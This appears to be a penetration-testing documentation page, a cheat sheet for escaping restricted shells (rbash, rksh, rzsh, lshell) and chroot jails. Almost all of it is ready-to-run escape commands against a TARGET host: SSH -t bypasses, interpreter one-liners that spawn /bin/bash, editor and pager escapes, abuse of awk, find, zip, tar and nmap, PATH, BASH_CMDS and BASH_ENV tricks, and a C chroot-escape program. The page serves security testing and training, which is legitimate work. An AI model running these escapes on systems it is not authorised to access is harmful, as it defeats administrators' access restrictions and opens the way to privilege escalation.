> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Restricted Shell Escape

> Escaping restricted shells: rbash, rksh, rzsh, lshell, and limited PATH environments.

## Identify Restricted Shell

```bash theme={"dark"}
echo $SHELL
echo $0
env
```

Common restricted shells:

| Shell    | Description                                            |
| -------- | ------------------------------------------------------ |
| `rbash`  | Restricted Bash — no cd, no PATH changes, no redirects |
| `rksh`   | Restricted Korn Shell                                  |
| `rzsh`   | Restricted Zsh                                         |
| `lshell` | Limited Shell (Python-based)                           |

### Typical Restrictions

* Cannot `cd`
* Cannot change `PATH`, `SHELL`, `ENV`
* Cannot use `/` in commands
* Cannot redirect output (`>`, `>>`)
* Cannot use `exec`

***

## Quick Escapes

### SSH

Bypass rbash on login:

```bash theme={"dark"}
ssh user@TARGET -t "bash --noprofile"
ssh user@TARGET -t "/bin/bash"
ssh user@TARGET -t "sh"
```

Force pseudo-terminal with command:

```bash theme={"dark"}
ssh user@TARGET -t "/bin/sh"
```

### Invoke Unrestricted Shell

```bash theme={"dark"}
bash
/bin/bash
/bin/sh
sh
```

If `/` blocked, use available commands:

```bash theme={"dark"}
cp /bin/bash .
./bash
```

***

## Language Interpreters

### Python

```bash theme={"dark"}
python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

### Perl

```bash theme={"dark"}
perl -e 'exec "/bin/bash";'
```

### Ruby

```bash theme={"dark"}
ruby -e 'exec "/bin/bash"'
```

### Lua

```bash theme={"dark"}
lua -e 'os.execute("/bin/bash")'
```

### PHP

```bash theme={"dark"}
php -r 'system("/bin/bash");'
```

### Node.js

```bash theme={"dark"}
node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
```

***

## Editor Escapes

### vi / vim

```bash theme={"dark"}
vi
:set shell=/bin/bash
:shell
```

Or:

```bash theme={"dark"}
vi
:!/bin/bash
```

### ed

```bash theme={"dark"}
ed
!/bin/bash
```

### nano

```
Ctrl+R → Ctrl+X → /bin/bash
```

***

## Pager Escapes

### less

```bash theme={"dark"}
less /etc/passwd
!/bin/bash
```

### more

```bash theme={"dark"}
more /etc/passwd
!/bin/bash
```

### man

```bash theme={"dark"}
man man
!/bin/bash
```

***

## Program-specific Escapes

### awk

```bash theme={"dark"}
awk 'BEGIN {system("/bin/bash")}'
```

### find

```bash theme={"dark"}
find / -exec /bin/bash \;
```

### nmap (old)

```bash theme={"dark"}
nmap --interactive
!sh
```

### ftp

```bash theme={"dark"}
ftp
!/bin/bash
```

### gdb

```bash theme={"dark"}
gdb -q
!bash
```

### zip

```bash theme={"dark"}
zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/bash"
```

### tar

```bash theme={"dark"}
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

### expect

```bash theme={"dark"}
expect -c 'spawn /bin/bash; interact'
```

### tee

Write to files even when redirect blocked:

```bash theme={"dark"}
echo "data" | tee /tmp/output.txt
```

***

## PATH Manipulation

If PATH is restricted but you can set variables:

```bash theme={"dark"}
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

If `export` blocked:

```bash theme={"dark"}
BASH_CMDS[a]=/bin/bash
a
export PATH=$PATH:/bin:/usr/bin
```

***

## Copy Trick

If `cp` is available:

```bash theme={"dark"}
cp /bin/bash /tmp/bash
/tmp/bash
```

***

## Environment Variables

### BASH\_ENV

If BASH\_ENV is not cleared:

```bash theme={"dark"}
export BASH_ENV=/tmp/payload.sh
# payload.sh contains: /bin/bash
```

### ENV (for sh)

```bash theme={"dark"}
ENV=/tmp/payload.sh sh
```

***

## lshell Escapes

lshell (Python-based limited shell) has known bypasses:

```bash theme={"dark"}
echo os.system('/bin/bash')
```

```bash theme={"dark"}
echo $(bash)
```

```bash theme={"dark"}
? () { /bin/bash; }; ?
```

***

## Chroot Escape

If inside chroot jail with root:

```c theme={"dark"}
#include <unistd.h>
#include <sys/stat.h>

int main() {
    mkdir("chroot_escape", 0755);
    chroot("chroot_escape");
    for (int i = 0; i < 100; i++) chdir("..");
    chroot(".");
    execl("/bin/bash", "bash", NULL);
}
```

```bash theme={"dark"}
gcc escape.c -o escape && ./escape
```

***

## Quick Reference

| Method                         | When                 |
| ------------------------------ | -------------------- |
| `ssh -t "/bin/bash"`           | SSH access available |
| `python3 -c 'import pty...'`   | Python available     |
| `vi → :!/bin/bash`             | vi/vim available     |
| `less → !/bin/bash`            | Pager available      |
| `awk 'BEGIN {system(...)}'`    | awk available        |
| `BASH_CMDS[a]=/bin/bash; a`    | Can set variables    |
| `cp /bin/bash /tmp; /tmp/bash` | cp available         |